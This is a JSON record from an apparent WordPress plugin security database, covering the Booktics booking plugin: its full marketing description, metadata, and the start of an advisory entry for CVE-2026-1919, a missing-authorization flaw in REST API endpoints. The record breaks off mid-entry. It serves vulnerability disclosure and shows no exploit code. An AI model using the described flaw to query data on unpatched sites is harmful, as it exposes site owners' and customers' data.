[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fopLezhrmAhNCM1ZfdVLqoO6xUn-h-9K-QUnt1VjdMZ4":3,"$fvLBRZP9mFB6zcum6eb3MudlfsHTcAfSMxUhDf7ZAeME":482,"$f82VPEl5hC8V-pVIVTpfEHKqUdIAWS2bmeM92n07P8Sw":487},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":14,"last_updated":15,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":19,"homepage":25,"download_link":26,"security_score":27,"vuln_count":28,"unpatched_count":29,"last_vuln_date":30,"fetched_at":31,"discovery_status":32,"vulnerabilities":33,"developer":99,"crawl_stats":39,"alternatives":107,"analysis":201,"fingerprints":453},"booktics","Booktics – Booking Calendar for Appointments and Service Businesses","1.0.18","Arraytics","https:\u002F\u002Fprofiles.wordpress.org\u002Farraytics\u002F","\u003Cp>\u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fbooktics\u002Frel\u002F93\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Booktics\u003C\u002Fstrong>\u003C\u002Fa> is an easy-to-use booking system that makes appointment booking and service booking simple for \u003Cstrong>service-based businesses and professionals\u003C\u002Fstrong>. It helps you manage appointments, organize your booking calendar, and handle online scheduling without hassle.\u003C\u002Fp>\n\u003Cp>Booktics is built for businesses and individuals such as salons and spas, dental clinics, wellness centers, cleaning services, fitness trainers, tutors, and home service providers who struggle with managing schedules manually. Booktics solves this by allowing customers to \u003Ca href=\"https:\u002F\u002Fyoutu.be\u002FSAC_YiidY34?si=5ouySmLYPpsubljs\" rel=\"nofollow ugc\">book appointments online 24\u002F7\u003C\u002Fa> while you stay in full control of your \u003Cstrong>reservations\u003C\u002Fstrong>, availability, and \u003Cstrong>daily schedule\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>With Booktics, you can create\u003C\u002Fstrong>:\u003Cbr \u002F>\n– Unlimited booking services\u003Cbr \u002F>\n– \u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Fbooktics\u002Fservices\u002Fhow-to-enable-group-booking-on-service\u002F\" rel=\"nofollow ugc\">Group booking option\u003C\u002Fa>\u003Cbr \u002F>\n– \u003Ca href=\"https:\u002F\u002Fyoutu.be\u002FXc3D7g4Ynec?si=U3PCO7zG8rHXo7yw\" rel=\"nofollow ugc\">Extra service add-on option\u003C\u002Fa>\u003Cbr \u002F>\n– Flexible payment gateways\u003Cbr \u002F>\n– \u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Fbooktics\u002Fautomation\u002Fhow-to-get-started-with-booktics-email-automation\u002F\" rel=\"nofollow ugc\">Email automation option\u003C\u002Fa> for smooth workflow\u003Cbr \u002F>\n– Simple calendar booking system that works on any device\u003C\u002Fp>\n\u003Cp>➕ Booktics works with the tools you already use every day, so managing appointments becomes easier. You can \u003Cstrong>connect your Booktics booking calendar\u003C\u002Fstrong> with Google Calendar and Outlook. When someone books an appointment, it \u003Cstrong>updates automatically on all your calendars\u003C\u002Fstrong>. This helps you avoid double bookings and missed schedules.\u003C\u002Fp>\n\u003Cp>📨 You can meet your clients online using Google Meet for virtual appointments. You can also keep track of your customers and send follow-up messages using FluentCRM.\u003C\u002Fp>\n\u003Cp>💳 Booktics lets you collect payments online through PayPal, Stripe, and other payment methods, so clients can pay while booking.\u003C\u002Fp>\n\u003Cp>📍 No matter what service you offer, Booktics makes online booking simple, clear, and stress-free for both you and your customers.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>More helpful links here to get started👇\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fproducts.arraytics.com\u002Fbooktics-admin-demo\u002F\" rel=\"nofollow ugc\">Live demo\u003C\u002Fa>|\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Fbooktics\u002F\" rel=\"nofollow ugc\">Documentation\u003C\u002Fa> |\u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fbooktics\u002Fbooktics-roadmaps\u002F\" rel=\"nofollow ugc\">Roadmaps\u003C\u002Fa> |\u003Ca href=\"https:\u002F\u002Fwww.youtube.com\u002F@arraytics\u002Fvideos\" rel=\"nofollow ugc\">Video Tutorials\u003C\u002Fa>\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002Fbw_0G_rwCb0?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>Need help setting up your booking calendar on your website? 👉 \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fsupport\u002F\" rel=\"nofollow ugc\">Let Us Know\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>Who Can Benefit from Booktics?\u003C\u002Fh3>\n\u003Cp>Booktics is built for service-based businesses that need a simple and reliable appointment booking flow. It works for solo professionals, small teams, and businesses with \u003Cstrong>multiple locations\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>With Booktics, you get a complete booking system that keeps your schedule organized, reduces manual work, and lets customers book services in just a few clicks.\u003C\u002Fp>\n\u003Ch4>💇 Salons & Spas\u003C\u002Fh4>\n\u003Cp>Salons and spas can manage daily service bookings easily using Booktics. Clients can check available time slots, choose services, and confirm appointments through a clean booking calendar.\u003C\u002Fp>\n\u003Cp>It works well for haircuts, makeup, facials, massages, waxing, and more. \u003Cstrong>Staff can track all appointments in one place\u003C\u002Fstrong> and avoid overlapping schedules.\u003C\u002Fp>\n\u003Ch4>🦷 Dental Clinics & Healthcare\u003C\u002Fh4>\n\u003Cp>Clinics can reduce phone calls and scheduling mistakes by allowing patients to book appointments online.\u003C\u002Fp>\n\u003Cp>Patients can book dentist visits, checkups, or therapy sessions anytime. The appointment scheduler keeps time slots clear and \u003Cstrong>prevents double bookings\u003C\u002Fstrong> while giving clinics a full daily view of their schedule.\u003C\u002Fp>\n\u003Ch4>🌿 Health & Wellness Centers\u003C\u002Fh4>\n\u003Cp>Therapists, physiotherapists, massage centers, and wellness studios can manage sessions smoothly with Booktics.\u003C\u002Fp>\n\u003Cp>You can \u003Cstrong>set service duration\u003C\u002Fstrong>, \u003Cstrong>break time between bookings\u003C\u002Fstrong>, and daily limits to keep everything organized. It works well for one-on-one sessions, repeat visits, and group services.\u003C\u002Fp>\n\u003Ch4>🧹 Cleaning Services\u003C\u002Fh4>\n\u003Cp>Cleaning businesses can let customers pick a service, date, and time in seconds.\u003C\u002Fp>\n\u003Cp>Whether it’s home cleaning, office cleaning, or deep cleaning, Booktics shows real-time availability and updates the booking calendar instantly. This helps teams plan jobs without conflicts.\u003C\u002Fp>\n\u003Ch4>🏋️ Fitness Trainers & Yoga Instructors\u003C\u002Fh4>\n\u003Cp>Trainers and instructors can accept bookings for personal training, yoga sessions, and classes online.\u003C\u002Fp>\n\u003Cp>Clients choose time slots that work for them, while you keep full control of your schedule, \u003Cstrong>class limits, and session timings\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Ch4>🔧 Repair & Maintenance Services\u003C\u002Fh4>\n\u003Cp>Plumbers, electricians, technicians, and home service providers can manage job bookings easily.\u003C\u002Fp>\n\u003Cp>Customers select a service and book a time online, while your team sees everything clearly in the booking calendar and avoids double-scheduling.\u003C\u002Fp>\n\u003Ch4>💄 Beauty & Personal Care Professionals\u003C\u002Fh4>\n\u003Cp>Makeup artists, nail technicians, skincare specialists, and grooming experts can handle busy schedules without confusion.\u003C\u002Fp>\n\u003Cp>Clients can book multiple services, reschedule if needed, and always see available time slots clearly.\u003C\u002Fp>\n\u003Cp>✨ Booktics is a complete service booking plugin that supports appointments, classes, sessions, and reservations in one place. With its clean booking calendar, simple scheduling tools, and flexible setup, it helps every service provider run smoother and give customers a better booking experience.\u003C\u002Fp>\n\u003Ch3>**Booktics Free Features That Save Your Time & Money**\u003C\u002Fh3>\n\u003Cp>The free version of Booktics comes with powerful features that give you everything you need to run your service business \u003Cstrong>without paying extra fees or commissions\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>You can manage appointments, \u003Cstrong>view your daily schedule\u003C\u002Fstrong>, and \u003Cstrong>handle all bookings from one simple system\u003C\u002Fstrong>. You don’t need to write things down manually or check messages again and again. Everything stays organized in one booking calendar.\u003C\u002Fp>\n\u003Cp>Booktics works well for solo professionals and small teams who want a simple, clear, and reliable booking system.\u003C\u002Fp>\n\u003Ch3>Booking & Scheduling: Manage Your Daily Appointments Easily\u003C\u002Fh3>\n\u003Cp>Booktics allows your customers to book appointments online at any time, 24\u002F7, even when you are not available. You stay in full control of your schedule, and your \u003Cstrong>booking calendar updates automatically\u003C\u002Fstrong> whenever someone makes a reservation.\u003C\u002Fp>\n\u003Cp>It keeps your daily scheduling simple and organized.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Online Booking\u003C\u002Fstrong> – Customers can book appointments directly from your website. They see only the available time slots, so there is no confusion. This reduces phone calls and prevents double bookings.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Multi-Step Booking Form\u003C\u002Fstrong> – The booking process is shown in a step-by-step booking form. Customers first choose a service, then pick a date and time, and finally confirm their appointment. This makes booking clear and easy to complete.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Custom Time Slots\u003C\u002Fstrong> – You can set how long each service takes. For example, short sessions can be 30 minutes, and longer services can be 60 or 90 minutes. This keeps your scheduling accurate.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Buffer Time\u003C\u002Fstrong> – You can add extra time before or after appointments. This gives you space for preparation, cleaning, or short breaks. It helps avoid back-to-back stress.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Booking Limits\u003C\u002Fstrong> – Control how many bookings you accept per time slot or day. This prevents overbooking and keeps your workload manageable.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Cancellation & Rescheduling\u003C\u002Fstrong> – Clients can cancel or \u003Ca href=\"https:\u002F\u002Fyoutu.be\u002F3tIY_zstPSo?si=BoKpQgi0QSHTo9Wc\" rel=\"nofollow ugc\">reschedule booking\u003C\u002Fa> on their own, which saves you time and keeps your calendar up to date.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Service Management: Easily organize and manage your services\u003C\u002Fh3>\n\u003Cp>Booktics gives you one place to create and control all your offerings.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Fbooktics\u002Fservices\u002Fhow-to-create-service-category-in-booktics\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Service Management\u003C\u002Fstrong>\u003C\u002Fa> – You can add each service with its name, duration, and price. For example, you can create services like “Haircut – 30 minutes” or “Dental Checkup – 1 hour.” This helps customers understand what they are booking.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Service Categories\u003C\u002Fstrong> – Group your services into categories (e.g., Hair, Skin, Wellness) so customers can find what they need faster.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Customizable Design Layout (coming soon)\u003C\u002Fstrong> – Soon you’ll be able to match the booking form’s look and feel to your brand, creating a professional appearance.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Team Management: Keep your staff schedules organized\u003C\u002Fh3>\n\u003Cp>If you work with a team, Booktics helps you manage everyone’s availability in one place. \u003Cstrong>You can assign services to staff members\u003C\u002Fstrong>, set their working hours, and keep the booking calendar organized for the whole team.\u003C\u002Fp>\n\u003Cp>This is useful for salons, clinics, wellness centers, fitness studios, and any business where multiple people handle appointments.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Fbooktics\u002Fteam-members\u002Fhow-to-manage-team-member-on-booktics\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Team Management\u003C\u002Fstrong>\u003C\u002Fa> – You can assign specific services to each staff member and set when they are available to work. This makes sure bookings go to the right person at the right time.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Admin Panel & Team Member Panel\u003C\u002Fstrong> – The admin can control everything from one main dashboard. Each team member can log in to view and manage their own bookings, so everyone stays updated and organized.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Customer & Order Management: Deliver a personalized experience\u003C\u002Fh3>\n\u003Cp>Booktics helps you track your customers and their past bookings so you can build stronger relationships.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Customer Management\u003C\u002Fstrong> – Store client details like name, contact info, and service history. This helps you remember repeat clients and offer tailored service.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Orders\u003C\u002Fstrong> – Track booking and payment status from one dashboard. No need for messy spreadsheets.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Booking Forms\u003C\u002Fstrong> – Create forms to collect important details from customers during booking, such as special requests or notes.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Payments & Checkout: Accept secure online payments to streamline your business\u003C\u002Fh3>\n\u003Cp>Booktics gives you a smooth and \u003Cstrong>secure way to collect payments\u003C\u002Fstrong> during the online booking process. Whether you offer one-on-one appointments, group sessions, or service packages, you can let customers pay online or choose a manual payment method.\u003C\u002Fp>\n\u003Cp>This helps reduce no-shows, improves cash flow, and keeps your booking system organized.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Stripe Integration\u003C\u002Fstrong> – Customers can pay using credit cards, debit cards, and digital wallets like Apple Pay and Google Pay. Payments happen directly during appointment booking, making the checkout fast and secure.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Local Payment Methods\u003C\u002Fstrong>– Let customers choose offline or in-person payment if that fits your service flow.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce Support\u003C\u002Fstrong>– You can connect Booktics with WooCommerce to use more payment methods and manage orders easily. WooCommerce also helps with taxes, invoices, and payment tracking while keeping all bookings synced with your calendar.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Reporting & Analytics: Get insights into how your business is doing\u003C\u002Fh3>\n\u003Cp>Booktics Free includes reporting tools to help you make data-driven decisions.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Dashboard & Reporting\u003C\u002Fstrong> – See all bookings, revenue, and customer data in one place.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Upcoming Bookings\u003C\u002Fstrong> – Get a clear list of what’s scheduled so you’re always prepared.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Notifications, Communication and Integrations: Reduce no-shows and keep clients informed\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Fbooktics\u002Fautomation\u002Fhow-to-get-started-with-booktics-email-automation\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Email Notifications\u003C\u002Fstrong>\u003C\u002Fa> – Automatically send confirmations, reminders, and updates to both you and your customers. This improves communication and builds trust.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>FluentCRM Integration\u003C\u002Fstrong> – Automatically sync customer details for marketing or follow-ups.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Advanced Calendar & Sync: Stay synced across all calendars and avoid conflicts\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Fbooktics\u002Fintegration\u002Fhow-to-integrate-google-calendar-with-booktics\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Google Calendar Integration\u003C\u002Fstrong>\u003C\u002Fa> – Automatically sync bookings with Google Calendar in real time. This prevents double-booking and keeps you updated on the go.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Calendar View\u003C\u002Fstrong> – Drag-and-drop interface to move, edit, or manage bookings quickly. Easy for admins and team members to track all appointments at a glance.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>🚀 Booktics PRO: More Powerful with Advanced Booking Capabilities\u003C\u002Fh3>\n\u003Cp>Booktics Pro includes everything in the free version and adds advanced features for businesses that need more control and flexibility. It helps you manage services in detail, automate workflows, and create a smoother online booking experience.\u003C\u002Fp>\n\u003Cp>In addition to offering stronger scheduling features and deeper integrations, Booktics Pro gives you an even easier way to schedule appointments and to book service appointments for very busy professionals and service-oriented teams.\u003C\u002Fp>\n\u003Ch3>Advanced Service Management: Offer more options and flexibility to clients\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Fbooktics\u002Fservices\u002Fhow-to-add-custom-fields-on-service\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Extra Service\u003C\u002Fstrong>\u003C\u002Fa> – Customers can add extra services while booking. For example, a salon can offer “Haircut + Hair Wash,” or a clinic can offer “Consultation + Lab Test” in one appointment. This makes booking easier for clients and increases your service value.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Group Booking\u003C\u002Fstrong> – Clients can book for multiple people at once (like families, teams, or groups). Excellent for yoga classes, fitness sessions, or workshops.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Multiple Pricing Durations\u003C\u002Fstrong> – Offer the same service with different lengths and prices. For instance, a therapist can offer a “30-min session” and a “60-min session” at different rates.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Booking Custom Fields\u003C\u002Fstrong> – Add extra fields to the booking form to collect more information (e.g., “Preferred Staff,” “Special Requirements,” or “Notes”). This gives you flexibility to tailor services to client needs.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FXc3D7g4Ynec?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Ch3>Advanced Payments Method: Get paid instantly and securely\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Fbooktics\u002Fpayment-type\u002Fhow-to-configure-the-paypal-in-booktics-pro\u002F\" rel=\"nofollow ugc\">\u003Cstrong>PayPal Integration\u003C\u002Fstrong>\u003C\u002Fa> – Customers can pay instantly via PayPal during booking. It’s secure and widely trusted worldwide.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>💡 With Pro, clients can book and pay in one seamless process, reducing cancellations and ensuring you get paid on time.\u003C\u002Fp>\n\u003Ch3>\u003Cstrong>Booking Calendar Integration: Manage your bookings more easily\u003C\u002Fstrong>\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Outlook Calendar Integration\u003C\u002Fstrong> – Connect your Outlook calendar to manage work and personal schedules together.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fyoutu.be\u002FJCjoJmcTcSw?si=laC_p5OjCK4GXDrZ\" rel=\"nofollow ugc\">\u003Cstrong>Booktics with Directorist Integration\u003C\u002Fstrong>\u003C\u002Fa> – You can now link your Booktics booking services directly to your Directorist listings. This means that visitors browsing your directory can discover services and book them instantly.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FJCjoJmcTcSw?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>With these integrations working together, Booktics becomes an advanced booking calendar solution for business — keeping your schedules organized, your bookings synced, and your day-to-day planning much easier.\u003C\u002Fp>\n\u003Ch3>\u003Cstrong>Team & Location Management: Manage larger teams and expand your business easily\u003C\u002Fstrong>\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Fbooktics\u002Fteam-members\u002Fhow-to-manage-team-member-on-booktics\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Team Member Panel\u003C\u002Fstrong>\u003C\u002Fa> (Advanced Controls) – Team members get their own panels to manage bookings more effectively. Admins can set permissions and manage multiple staff from one place.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>✨ Final Words: Booktics Pro turns your booking system into a \u003Cstrong>full business solution\u003C\u002Fstrong>. You’ll not only manage appointments but also accept payments online, run group bookings, sync with Google\u002FOutlook calendars, and scale across teams or locations.\u003C\u002Fp>\n\u003Ch3>Support and Documentation\u003C\u002Fh3>\n\u003Cp>📚 Simply visit our \u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Fbooktics\u002F\" rel=\"nofollow ugc\">Documentation\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>💁 For any questions, ask them away on \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fsupport\u002F\" rel=\"nofollow ugc\">Booktics Support\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>📝 Help us improve, input your valuable suggestions \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fbooktics\u002Fbooktics-roadmaps\u002F\" rel=\"nofollow ugc\">Booktics Roadmap\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🙌 Join our All-Time Active \u003Ca href=\"https:\u002F\u002Fwww.facebook.com\u002Fgroups\u002Farraytics\" rel=\"nofollow ugc\">Facebook Group\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🎥 Learn actionable tutorials on \u003Ca href=\"https:\u002F\u002Fwww.youtube.com\u002F@arraytics\" rel=\"nofollow ugc\">Booktics YouTube Channel\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>So, why wait? 🚀 \u003Cstrong>Get started in minutes\u003C\u002Fstrong> – Just install, configure, and start accepting bookings\u003C\u002Fp>\n\u003Ch3>Now, What’s Next for You?\u003C\u002Fh3>\n\u003Cp>If you’re impressed with Booktics booking satisfied, please check out our other awesome WordPress plugins:\u003C\u002Fp>\n\u003Cp>📅 \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwp-event-solution\u002F\" rel=\"ugc\">\u003Cstrong>Eventin\u003C\u002Fstrong>\u003C\u002Fa>: All-in-one event management plugin for WordPress.\u003C\u002Fp>\n\u003Cp>🍽️ \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwp-cafe\u002F\" rel=\"ugc\">\u003Cstrong>WPCafe\u003C\u002Fstrong>\u003C\u002Fa>: Manage online Food Ordering, Restaurant Menu, Delivery, and Reservations.\u003C\u002Fp>\n\u003Cp>📅 \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Ftimetics\u002F\" rel=\"ugc\">\u003Cstrong>Timetics\u003C\u002Fstrong>\u003C\u002Fa> : AI-powered Appointment Scheduling plugin for WordPress\u003C\u002Fp>\n\u003Cp>🎨 \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fpoptics\u002F\" rel=\"ugc\">\u003Cstrong>Poptics\u003C\u002Fstrong>\u003C\u002Fa>: Create Conversion-Driven Popups and convert your leads into sales.\u003C\u002Fp>\n\u003Cp>If you’re curious, pay a visit to 👉 \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fbooktics\" rel=\"nofollow ugc\">\u003Cstrong>Arraytics\u003C\u002Fstrong>\u003C\u002Fa> to learn more about our expert solutions in WordPress bookings,scheduling, event management, restaurant reservation, food ordering and lots of \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fblog\u002F\" rel=\"nofollow ugc\">\u003Cstrong>marketing tips & tricks!\u003C\u002Fstrong>\u003C\u002Fa> to grow your business. 🎉\u003C\u002Fp>\n\u003Ch3>External Services\u003C\u002Fh3>\n\u003Cp>This plugin connects to the following external services:\u003C\u002Fp>\n\u003Ch3>Arraytics FluentCRM Service\u003C\u002Fh3>\n\u003Cp>Connects to Arraytics.com’s FluentCRM service to manage contact information for marketing and communication purposes (product updates, feature announcements, support information).\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Data sent:\u003C\u002Fstrong> Your email address (only when you voluntarily provide it during business setup\u002Fonboarding).\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Service provider:\u003C\u002Fstrong> Arraytics – \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fterms-of-service\u002F\" rel=\"nofollow ugc\">Terms of Service\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fprivacy-policy\u002F\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong> This is optional and not required for core plugin functionality.\u003C\u002Fp>\n\u003Ch3>Stripe Payments\u003C\u002Fh3>\n\u003Cp>Processes online payments for bookings when you enable Stripe as a payment method.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Data sent:\u003C\u002Fstrong> Payment and transaction data required to process the payment (such as order amount, currency, and customer details like name\u002Femail). Payment card details are handled directly by Stripe.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Service provider:\u003C\u002Fstrong> Stripe, Inc. – \u003Ca href=\"https:\u002F\u002Fstripe.com\u002Flegal\" rel=\"nofollow ugc\">Terms of Service\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fstripe.com\u002Fprivacy\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong> Optional, only active if you enable Stripe payments.\u003C\u002Fp>\n\u003Ch3>Google Calendar API\u003C\u002Fh3>\n\u003Cp>Synchronizes appointments and bookings between your WordPress site and Google Calendar (two-way sync).\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Data sent:\u003C\u002Fstrong> Calendar event data (appointment details, dates, times, attendee information) when bookings are created, updated, or synchronized.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Service provider:\u003C\u002Fstrong> Google LLC – \u003Ca href=\"https:\u002F\u002Fpolicies.google.com\u002Fterms\" rel=\"nofollow ugc\">Terms of Service\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fpolicies.google.com\u002Fprivacy\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong> Optional integration, only active if you connect your Google Calendar account.\u003C\u002Fp>\n","Professional booking system for businesses, offering booking calendars, appointments, reservations, service scheduling, and payments.",600,6358,92,7,"2026-04-08T08:34:00.000Z","6.9.4","5.2","7.4",[20,21,22,23,24],"appointment-booking","booking","booking-calendar","booking-system","online-booking","https:\u002F\u002Farraytics.com\u002Fbooktics\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.18.zip",96,3,0,"2026-03-09 13:22:08","2026-04-16T10:56:18.058Z","no_bundle",[34,69,82],{"id":35,"url_slug":36,"title":37,"description":38,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":41,"severity":42,"cvss_score":43,"cvss_vector":44,"vuln_type":45,"published_date":30,"updated_date":46,"references":47,"days_to_patch":49,"patch_diff_files":50,"patch_trac_url":39,"research_status":59,"research_verified":60,"research_rounds_completed":28,"research_plan":61,"research_summary":62,"research_vulnerable_code":63,"research_fix_diff":64,"research_exploit_outline":65,"research_model_used":66,"research_started_at":67,"research_completed_at":68,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":60,"poc_model_used":39,"poc_verification_depth":39},"CVE-2026-1919","booktics-missing-authorization-to-get-items-via-rest-api-endpoints","Booktics \u003C= 1.0.16 - Missing Authorization to Get Items via REST API endpoints","The Booking Calendar for Appointments and Service Businesses – Booktics plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on multiple REST API endpoints in all versions up to, and including, 1.0.16. This makes it possible for unauthenticated attackers to query sensitive data.",null,"\u003C=1.0.16","1.0.17","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Missing Authentication for Critical Function","2026-03-10 